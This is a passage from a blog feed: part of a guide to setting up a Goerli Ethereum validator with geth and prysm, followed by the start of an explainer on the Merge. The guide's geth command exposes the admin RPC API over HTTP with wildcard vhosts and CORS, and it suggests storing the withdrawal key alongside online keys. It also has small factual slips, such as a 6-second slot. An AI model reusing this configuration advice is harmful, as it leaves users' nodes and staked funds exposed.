"><code>openssl rand <span class="hljs-operator">-</span>hex <span class="hljs-number">32</span> <span class="hljs-operator">|</span> sudo tee jwt.hex <span class="hljs-operator">></span> <span class="hljs-operator">/</span>dev<span class="hljs-operator">/</span>null
</code></pre><hr><h2 id="h-step-3-choosing-an-architecture" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 3: choosing an architecture</h2><p>before you start installing things, especially if you are running your node in a local machine as opposed to the cloud, you need to answer some questions:</p><ol><li><p>where will you install the clients’ executables?</p></li><li><p>where will keep the execution data?</p></li><li><p>where will you keep the beacon/node data?</p></li><li><p>where will you keep the JWT keys that need continuous access?</p></li><li><p>where will you keep the deposit (signing and withdrawal) keys?</p></li></ol><h3 id="h-running-locally-without-docker" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">running locally (without docker)</h3><p>these are my suggestions if you are running your node in a local machine, without containerization:</p><ul><li><p>since the executables don’t need much space and you can always switch clients, i suggest creating a directory called <code>ethereum</code> where you keep your source code and projects (say <code>~/src</code>), with the structure below. from there, you can install other clients in the future or customize any code later on:</p></li></ul><pre data-type="codeBlock" text="📂 ethereum
    ┣ 📂 consensus
       ┣ 📂 prysm
         (install prism client here)
    ┣ 📂 execution
       ┣ 📂 geth
         (install geth client here if you are building from source)
"><code>📂 ethereum
    ┣ 📂 consensus
       ┣ 📂 prysm
         (install prism client here)
    ┣ 📂 execution
       ┣ 📂 geth
         (install geth client here if you are building from source)
</code></pre><ul><li><p>since you need not only at least 1TB to keep all the data from the chain (2TB for mainnet), but also fast read/write, you should allocate an SSD drive to serve this part. i recommend the directory structure below. if you are brave enough to run your node in an <strong>external</strong> SSD hard drive (with a fast USB connection!), you can deal with <code>geth.ipc</code> by creating a symlink to the hard drive.</p></li></ul><pre data-type="codeBlock" text="
📂 keys
📂 ethereum
    ┣ 📂 consensus
    ┣ 📂 execution
"><code>
📂 keys
📂 ethereum
<span class="hljs-code">    ┣ 📂 consensus
    ┣ 📂 execution
</span></code></pre><ul><li><p>do you see <code>📂 keys</code> there? move your JWT key and your signing key into this dir (they need to be accessible at all times). you may also leave your withdrawal key there as well, just remember to <em>protect this HD with your life</em> 💀.</p></li><li><p>finally, if you are running locally, you want to have 3 terminal windows for each: execution client, beacon, and validator. i recommend setting this up with <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/dotfiles_and_shellscripts/tree/master/tmux">tmux</a>. later on, you will want to either move to docker or set these services to run in the background (via launchd or systemd, etc.).</p></li></ul><hr><h2 id="h-step-4-set-the-execution-client-geth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 4: set the execution client (geth)</h2><p>follow <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://geth.ethereum.org/docs/install-and-build/installing-geth">the official documentation</a> to install geth in your machine.</p><p>then choose how you are going to customize your execution client. there are several options to choose from and, ideally, you want to set them into a <code>TOML</code> config file (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/prod_ethereum_node_validatooor/tree/main/geth-config">like this one</a>).</p><p>you need to choose how you will serve your node and what APIs and customization you will enable. this is one of the simplest setups you can run (in your first terminal window):</p><pre data-type="codeBlock" text="geth --goerli --http --http.api eth,net,engine,admin,web3 \
--http.vhosts=&quot;*&quot; --http.corsdomain &quot;*&quot; \
--authrpc.jwtsecret /Volumes/&lt;ssd name&gt;/keys/jwt.hex \
--datadir=/Volumes/&lt;ssd name&gt;/ethereum/execution/
"><code>geth <span class="hljs-operator">-</span><span class="hljs-operator">-</span>goerli <span class="hljs-operator">-</span><span class="hljs-operator">-</span>http <span class="hljs-operator">-</span><span class="hljs-operator">-</span>http.api eth,net,engine,admin,web3 \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>http.vhosts=<span class="hljs-string">"*"</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>http.corsdomain <span class="hljs-string">"*"</span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>authrpc.jwtsecret <span class="hljs-operator">/</span>Volumes<span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>keys<span class="hljs-operator">/</span>jwt.hex \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>datadir<span class="hljs-operator">=</span><span class="hljs-operator">/</span>Volumes<span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>ethereum<span class="hljs-operator">/</span>execution<span class="hljs-operator">/</span>
</code></pre><p>the flag <code>--http</code> enables the HTTP-RPC server and the flag <code>--http.api</code> enables the APIs offered over the HTTP-RPC interface.</p><p>after full node synchronization (which can take a few days), this is how your execution client should look like:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e1b366056e50ab88eeb252d120033129fb8d03a3c429dfe66533e50dc23e26ca.webp" alt="execution layer (geth) after full synchronization." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">execution layer (geth) after full synchronization.</figcaption></figure><hr><h2 id="h-step-5-set-the-beacon-prysm" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 5: set the beacon (prysm)</h2><p>inside your <code>src/consensus</code> directory, install prysm with:</p><pre data-type="codeBlock" text="mkdir prysm &amp;&amp; cd prysm
curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh &amp;&amp; chmod +x prysm.sh
"><code><span class="hljs-built_in">mkdir</span> prysm &#x26;&#x26; <span class="hljs-built_in">cd</span> prysm
curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh &#x26;&#x26; <span class="hljs-built_in">chmod</span> +x prysm.sh
</code></pre><p>now, once again, you need to make choices on how you will run your beacon client.</p><p>first, since you are also running a validator, you should set a wallet address for <code>suggested-fee-recipient</code> (where you will earn validator fees).</p><p>but beyond that, there are several options to choose from and ideally you want to set them into a config file. but for this local setup, this is one of the simplest ways to start your beacon node (in your second terminal window), which will connect to the execution node on port <code>8551</code> :</p><pre data-type="codeBlock" text="./prysm.sh beacon-chain --prater \
--execution-endpoint=http://localhost:8551 \
--jwt-secret=/Volumes/&lt;ssd name&gt;/keys/jwt.hex \
--suggested-fee-recipient=&lt;your wallet address&gt; \
--db-backup-output-dir=/&lt;ssd name&gt;/ethereum/consensus \
--datadir=/&lt;ssd name&gt;/ethereum/consensus
"><code>./prysm.sh beacon<span class="hljs-operator">-</span>chain <span class="hljs-operator">-</span><span class="hljs-operator">-</span>prater \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>execution<span class="hljs-operator">-</span>endpoint<span class="hljs-operator">=</span>http:<span class="hljs-comment">//localhost:8551 \</span>
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>jwt<span class="hljs-operator">-</span>secret<span class="hljs-operator">=</span><span class="hljs-operator">/</span>Volumes<span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>keys<span class="hljs-operator">/</span>jwt.hex \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>suggested<span class="hljs-operator">-</span>fee<span class="hljs-operator">-</span>recipient<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>your wallet <span class="hljs-keyword">address</span><span class="hljs-operator">></span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>db<span class="hljs-operator">-</span>backup<span class="hljs-operator">-</span>output<span class="hljs-operator">-</span>dir<span class="hljs-operator">=</span><span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>ethereum<span class="hljs-operator">/</span>consensus \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>datadir<span class="hljs-operator">=</span><span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>ethereum<span class="hljs-operator">/</span>consensus
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c7e7f59e6234369ef406e2edf34fdec385ae97c9281d162e2fe01c0534ebe661.webp" alt="beacon after full synchronization." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">beacon after full synchronization.</figcaption></figure><p>later on, you will want to set your beacon configs into a <code>YAML</code> file (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/prod_ethereum_node_validatooor/tree/main/prysm-config">like this one</a>), and run this instead:</p><pre data-type="codeBlock" text="./prysm.sh beacon-chain --config-file=&lt;/path/to/file.yaml&gt;
"><code>./prysm.sh beacon<span class="hljs-operator">-</span>chain <span class="hljs-operator">-</span><span class="hljs-operator">-</span>config<span class="hljs-operator">-</span>file<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>path<span class="hljs-operator">/</span>to<span class="hljs-operator">/</span>file.yaml>
</code></pre><hr><h2 id="h-step-6-stake-your-validators-eth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 6: stake your validator’s ETH</h2><p>remember from step 0: you need (goerli) ETH to become validator.</p><p>grab the deposit JSON key you generated on step 1 and upload at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://goerli.launchpad.ethereum.org/en/upload-deposit-data">ethereum’s launchpad</a>.</p><p>it should take up to a day for your validator to become green and start validating things (once the chain is fully synchronized, of course).</p><hr><h2 id="h-step-7-start-the-validatoooor" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 7: start the validatoooor</h2><p>remember that in the post-merge era, validators have two responsibilities:</p><ol><li><p>propose blocks (or produce - and wait for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://notes.ethereum.org/@vbuterin/pbs_censorship_resistance">that whole PBS thing</a>).</p></li><li><p>attest (or vote on) the validity of blocks that are produced.</p></li></ol><p>so let’s start our validator!</p><p>first, we need to link it to the deposit (validator) keys we generated earlier:</p><pre data-type="codeBlock" text="./prysm.sh validator accounts import \
--keys-dir=/Volumes/&lt;ssd name&gt;/keys
"><code>./prysm.sh validator accounts <span class="hljs-keyword">import</span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-title">keys</span><span class="hljs-operator">-</span><span class="hljs-title">dir</span><span class="hljs-operator">=</span><span class="hljs-operator">/</span><span class="hljs-title">Volumes</span><span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span><span class="hljs-title">ssd</span> <span class="hljs-title">name</span><span class="hljs-operator">></span><span class="hljs-operator">/</span><span class="hljs-title">keys</span>
</code></pre><p>then we can start with:</p><pre data-type="codeBlock" text="./prysm.sh validator --goerli \
--wallet-dir=/Volumes/&lt;ssd name&gt;/keys/wallet \
--suggested-fee-recipient=&lt;your wallet address&gt;
--graffiti=&quot;&lt;some cool message that does not identify ya&gt;&quot;
"><code>./prysm.sh validator <span class="hljs-operator">-</span><span class="hljs-operator">-</span>goerli \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>wallet<span class="hljs-operator">-</span>dir<span class="hljs-operator">=</span><span class="hljs-operator">/</span>Volumes<span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>keys<span class="hljs-operator">/</span>wallet \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>suggested<span class="hljs-operator">-</span>fee<span class="hljs-operator">-</span>recipient<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>your wallet <span class="hljs-keyword">address</span><span class="hljs-operator">></span>
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>graffiti<span class="hljs-operator">=</span><span class="hljs-string">"&#x3C;some cool message that does not identify ya>"</span>
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5a53d0a5cd12af72eb67a70873f9df6b2d501b8edb4cf856ce74efc62a1a5b77.webp" alt="validator after full synchronization." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">validator after full synchronization.</figcaption></figure><p>later on, you will want to set your validator to a <code>YAML</code> file (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/prod_ethereum_node_validatooor/tree/main/prysm-config">like this one</a>) and run this instead:</p><pre data-type="codeBlock" text="./prysm.sh validator --config-file=&lt;/path/to/file.yaml&gt;
"><code>./prysm.sh validator <span class="hljs-operator">-</span><span class="hljs-operator">-</span>config<span class="hljs-operator">-</span>file<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>path<span class="hljs-operator">/</span>to<span class="hljs-operator">/</span>file.yaml>
</code></pre><h3 id="h-checking-your-nodes-sync-status" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">checking your node’s sync status</h3><p>your validator won’t be ready until your beacon node is fully synced. this can take up to a few days.</p><p>you can check the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.github.io/beacon-APIs/?urls.primaryName=dev#/Node/getSyncingStatus">sync status</a> by curl-ing <code>localhost</code> at port <code>3500</code>:</p><pre data-type="codeBlock" text="curl http://localhost:3500/eth/v1/node/syncing
"><code>curl http://localhost:3500/eth/v1/node/syncing
</code></pre><p>you can leave your <strong>execution client</strong>, <strong>beacon node</strong>, and <strong>validator client</strong> terminal windows open and running. when you see <code>&quot;is_syncing&quot;:false</code>, the beacon node is fully synchronized with the ethereum blockchain, and it will automatically begin proposing and validating blocks.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6954dde4dbd399446b15bd91fdee509e7509b68d327f3cf2cfc181809ce63774.webp" alt="four terminal windows for each client plus status check." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">four terminal windows for each client plus status check.</figcaption></figure><p>at this point, the validator is assigned to a shard either as a <strong>proposer</strong> or <strong>attester,</strong> with a <strong>ticker</strong> that works every <strong>slot</strong> (6 seconds).</p><p>your goerli validator has been set. monitor its status, income, effectiveness, etc. at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://beaconcha.in/">beaconcha.in</a> (just use your deposit public key inside the <code>deposit_data-*.json</code> file as the input string).</p><h2 id="h-congratulations-you-are-a-chad-and-yeah-girls-can-be-chad-too" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🏆 CONGRATULATIONS, YOU ARE A CHAD. AND YEAH, GIRLS CAN BE CHAD TOO 👸🏻🤴🏿.</h2><hr><h2 id="h-final-considerations" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">final considerations</h2><h3 id="h-firewall" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">firewall</h3><p>to establish connection, both clients send and receive messages through specific ports.</p><p>i recommend blocking inbound traffic across all local ports, allowing inbound traffic on a port-by-port basis:</p><p><code>geth → keep 30303 TCP/UDP open to supporting other execution nodes.</code></p><p><code>prysm → keep 13000 TCP, 12000 UDP open.</code></p><p><code>clients connection → if not using IPC, the beacon connects to its execution through port 8551.</code></p><h3 id="h-slashing-protection-history" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">slashing protection history</h3><p>if you moving your validator client to another machine, don’t forget to migrate your keys and your slashing protection history:</p><pre data-type="codeBlock" text="./prysm.sh validator slashing-protection-history export \
--datadir=&lt;/path/to/validatorDb&gt; \
--slashing-protection-export-dir=&lt;/path/to/desired/outputdir&gt; 
"><code>./prysm.sh validator slashing<span class="hljs-operator">-</span>protection<span class="hljs-operator">-</span>history export \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>datadir<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>path<span class="hljs-operator">/</span>to<span class="hljs-operator">/</span>validatorDb<span class="hljs-operator">></span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>slashing<span class="hljs-operator">-</span>protection<span class="hljs-operator">-</span>export<span class="hljs-operator">-</span>dir<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>path<span class="hljs-operator">/</span>to<span class="hljs-operator">/</span>desired<span class="hljs-operator">/</span>outputdir<span class="hljs-operator">></span> 
</code></pre><p>if you lose your slashing protection history, wait for a few epochs before starting your validator.</p><h3 id="h-production-mode-monitoring-and-beyond" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">production mode, monitoring, and beyond</h3><p>this was a nice intro to get you started. once you understand the basics, you should try the following:</p><ol><li><p>benchmark your node, earnings, and how long it takes to propose a successful block.</p></li><li><p>make you node discoverable and run <code>JSON-RPC</code> calls.</p></li><li><p>run everything on docker, docker-compose, and possibly kubernetes.</p></li><li><p>try different combinations of consensus and execution clients (and contribute to their open-source code).</p></li><li><p>explore <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/mev-boost">mev-boost</a> (or wait for my next post!).</p></li><li><p>set up monitoring, alerts, deployment in the cloud with terraform, and all that.</p></li><li><p>find wally <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://stats.goerli.net/">here</a>.</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/28cdca4e764601880d39b87d8548b9c93ab435262f2bce559d59a0f2d1448f43.png" alt="🤑" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">🤑</figcaption></figure><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/f1e955d98d2e94bb8cc0dd12d996e8c51b417db7ea2e966d8d23aa132f2360e6.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[on experiencing the merge]]></title>
            <link>https://paragraph.com/@go-outside/on-experiencing-the-merge</link>
            <guid>K3sriyvke262Wc88zU2b</guid>
            <pubDate>Mon, 26 Sep 2022 07:25:51 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over the ethereum merge, taking place at block 15,537,393, with the main purpose of transiting the blockchain from proof-of-work to proof-of-stake. the event was perhaps one of the most important checkpoints in the story of blockchain technology, but most of all, a nerd ecstatic moment 😎.🎶 today’s moodhttps://open.spotify.com/track/7ztFsRXXKrkUjMaLn1siHJ?si=266af943170642dbPART I: THE MOTIVATION🧱⛓ Consensus mechanismsConsensus mechanisms define how a peer-to-peer network d...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over the ethereum merge, taking place at block <strong>15,537,393</strong>, with the main purpose of transiting the blockchain from proof-of-work to proof-of-stake.</p><p>the event was perhaps one of the most important checkpoints in the story of blockchain technology, but most of all, <em>a nerd ecstatic moment</em> 😎.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/7ztFsRXXKrkUjMaLn1siHJ?si=266af943170642db">https://open.spotify.com/track/7ztFsRXXKrkUjMaLn1siHJ?si=266af943170642db</a></p><hr><h2 id="h-part-i-the-motivation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">PART I: THE MOTIVATION</h2><h2 id="h-consensus-mechanisms" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧱⛓ Consensus mechanisms</h2><p>Consensus mechanisms define how a peer-to-peer network decides on its current status and on which blocks are to be added to the chain (and their order).</p><p>Block production is a general term that describes the act of scanning the <em>mempool</em> to pick up pending transitions (txs), ordering these transactions into blocks, and attaching this new block to the chain.</p><blockquote><p>🔮 <em>The mempool (a contraction of memory and pool) is the node’s mechanism for storing information on unconfirmed txs. It acts as a sort of waiting room for txs that have not yet been included in a block.</em></p></blockquote><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/developers/docs/consensus-mechanisms/pow/#top">In a PoW model,</a> the network is secured by miners and their expensive mining hardware and electricity bills. The work is done in exchange for a portion of transaction fees for block issuance.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/#top">In the PoS model,</a> the network is secured by validators who have staked 32 ETH in order to validate the network (think as a collateral against bad behavior). Moving to PoS makes Ethereum much more energy efficient: the power consumption is projected to be<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/upgrades/merge/#merge-and-energy"> around 99.95% (making Ethereum ESG compliant)</a>.</p><p>After the Merge, a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/#validators">validator</a> is randomly selected in every slot (spaced 12 seconds apart) to be the block proposer. The validator bundles transactions together, execute them, and determine a new &apos;state&apos; in the chain (passing it around to other validators). In this context, a finalized block is one that has been accepted as canonical by more than 2/3 of the validators.</p><h2 id="h-eth-issuance" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🦇🔊 ETH issuance</h2><p>Another motivation for the Merge is the reduction of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/upgrades/merge/issuance/#how-the-merge-impacts-ETH-supply">ETH issuance</a>.</p><p>The <em>issuance</em> of ETH is the process of <em>creating</em> ETH, and the <em>burning</em> of ETH (from transaction fees) is the process of removing existing ETH from circulation (<em>destroying</em>).</p><p>The rate of issuance and burning gets calculated on several parameters, and the balance between them determines ETH&apos;s resulting inflation or deflation rate.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://notes.ethereum.org/@vbuterin/eip-1559-faq">EIP 1559</a> introduced the <code>BASEFEE</code> burning mechanism last August (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/london.md">shipped by the London hardfork</a>), so the bulk of Ethereum transaction fees already has been burned for a few months. The remaining fees that are not burned (called &quot;tips&quot; or &quot;priority fees&quot;) are now to be paid to the block proposer.</p><p>Ethereum&apos;s issuance will be <strong><em>deflationary</em></strong> during periods of high user activity. According to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ultrasound.money/">ultrasound.money</a>, at the time of this post, 2.3k ETH has been burned to the date, and the total ETH supply is 120M, with 14M ETH skated.</p><blockquote><p>🔮 <em>The “Triple Halvening” is a term borrowed from Bitcoin to denominate the drop in ETH issuance after The Merge. While Bitcoin halves its issuance rate every 4 years, Ethereum will see its issuance rate reduced by roughly 90% at the Merge.</em></p></blockquote><hr><h2 id="h-part-ii-the-components" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">PART II: THE COMPONENTS</h2><p>Since the Ethereum blockchain holds hundreds of billions of dollars of economic activity, instead of transitioning the chain to PoS in one large change, the Ethereum developers decided to first create a separate PoS blockchain, the <em>Beacon Chain</em>, in December 2020.</p><p>The Merge was the process of moving this chain, which has been running in parallel, to the EVM state of the Ethereum PoW chain. In this transition, the chain’s <em>execution</em> and <em>consensus</em> layers unbundle and run separately.</p><p>After the Merge, all applications running on Ethereum now run exactly as pre-Merge, with the state and transaction history maintained.</p><h2 id="h-the-beacon-chain" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">📡✨ The Beacon Chain</h2><p>The Beacon Chain was created to ensure the PoS consensus logic was sound before enabling it on Ethereum, and also to aggregate enough validators (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://beaconscan.com/validators#active">~400k by the time of the Merge</a>).</p><p>The Beacon Chain was a ledger of accounts that conducted and coordinated the network of Ethereum, without really processing Mainnet transactions or handling smart contract interactions. Instead, the chain was reaching a consensus on its own state by agreeing on active validators and their account balances.</p><h2 id="h-shadow-forks-and-testnets" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🌑🚜 Shadow forks and testnets</h2><p>As one can expect, this transition has been through multiple rounds of tests that included merging <em>shadow forks</em> and testnets.</p><p>A shadow fork is a devnet created by forking a live network with a small number of nodes, keeping the chain’s state &amp; history (and, therefore, able to replay transactions from the main network).</p><p>In the context of the Merge, shadow forks allowed developers to test how the upgrade would happen, but without the vast majority of the nodes being aware.</p><p>In addition, the Ethereum public testnets went to the Merge process and persisted as PoS networks, helping developers to test their applications. However, shadow forks provided a more realistic testing environment, as existing testnets already had transactions happening on them.</p><h2 id="h-terminal-total-difficulty-ttd" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🪖🏁 Terminal total difficulty (TTD)</h2><p>The trigger for the Merge switch was determined by a new variable, <code>TERMINAL_TOTAL_DIFFICULTY</code>, which represents the sum of the PoW difficulties of every block accumulated on the Ethereum PoW network (the sum of the <code>Ethash</code> mining difficulty for all blocks). The Merge would happen when <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://bordel.wtf/">TTD reached 58750000000000000000000</a>.</p><blockquote><p>🔮 <em>The </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/developers/docs/consensus-mechanisms/pow/mining-algorithms/ethash/"><em>Ethash algorithm</em></a><em> is used to dynamically adjust the mining difficulty of the blockchain that implements it.</em></p></blockquote><p>When the chain accumulated enough PoW to exceed the total difficulty, nodes switched to following the PoS chain. It was the first time an Ethereum upgrade was triggered by this variable, as opposed to the <em>block height</em>. The reasoning was to avoid an attacker mining malicious forks that would satisfy the block height requirement at the time of the Merge.</p><h2 id="h-the-execution-layer" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">⛲️⚡️ The execution layer</h2><p>Before the transition to PoS, to validate the Ethereum network, node operators run one of the client implementations:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://geth.ethereum.org/">geth</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ledgerwatch/erigon">erigon</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://nethermind.io/">nethermind</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://besu.hyperledger.org/en/stable/">besu</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://akula.app/">akula</a></p></li></ul><p>Before the Merge, these clients bundled the execution layer (EVM) and the consensus layer (PoW).</p><p>After the Merge, they transited to being strictly execution layer clients, working with the consensus layer clients to form a full Ethereum node.</p><p>Communication between the execution and consensus layers is now facilitated by the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum/execution-apis/blob/main/src/engine/specification.md">Engine API</a>. This requires authentication using a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://jwt.io/introduction">JWT secret</a>, which is provided to both clients.</p><h2 id="h-the-consensus-layer" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🗳⚡️ The consensus layer</h2><p>The Beacon chain was launched by decoupling the consensus layer from the execution client. In PoS, the validity of transactions contained within an execution payload depends on the validity of the &quot;consensus block&quot; it is contained within.</p><blockquote><p>🔮 <code>LMD-GHOST </code>is an acronym for &quot;Latest Message Driven Greediest Heaviest Observed SubTree&quot; and the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/glossary/#fork-choice-algorithm">fork-choice algorithm</a> used by Ethereum&apos;s consensus clients to identify the head of the chain (the head of the chain is the block with the greatest accumulation of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/attestations/#:~:text=The%20attestation%20is%20for%20a,as%20source%20and%20target%20checkpoints).">attestations</a> in its history).</p></blockquote><p>Some popular consensus clients are:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/prysmaticlabs/prysm">prysm</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sigp/lighthouse">lighthouse</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ConsenSys/teku">teku</a></p></li><li><p><a target="_blank" rel="noopener 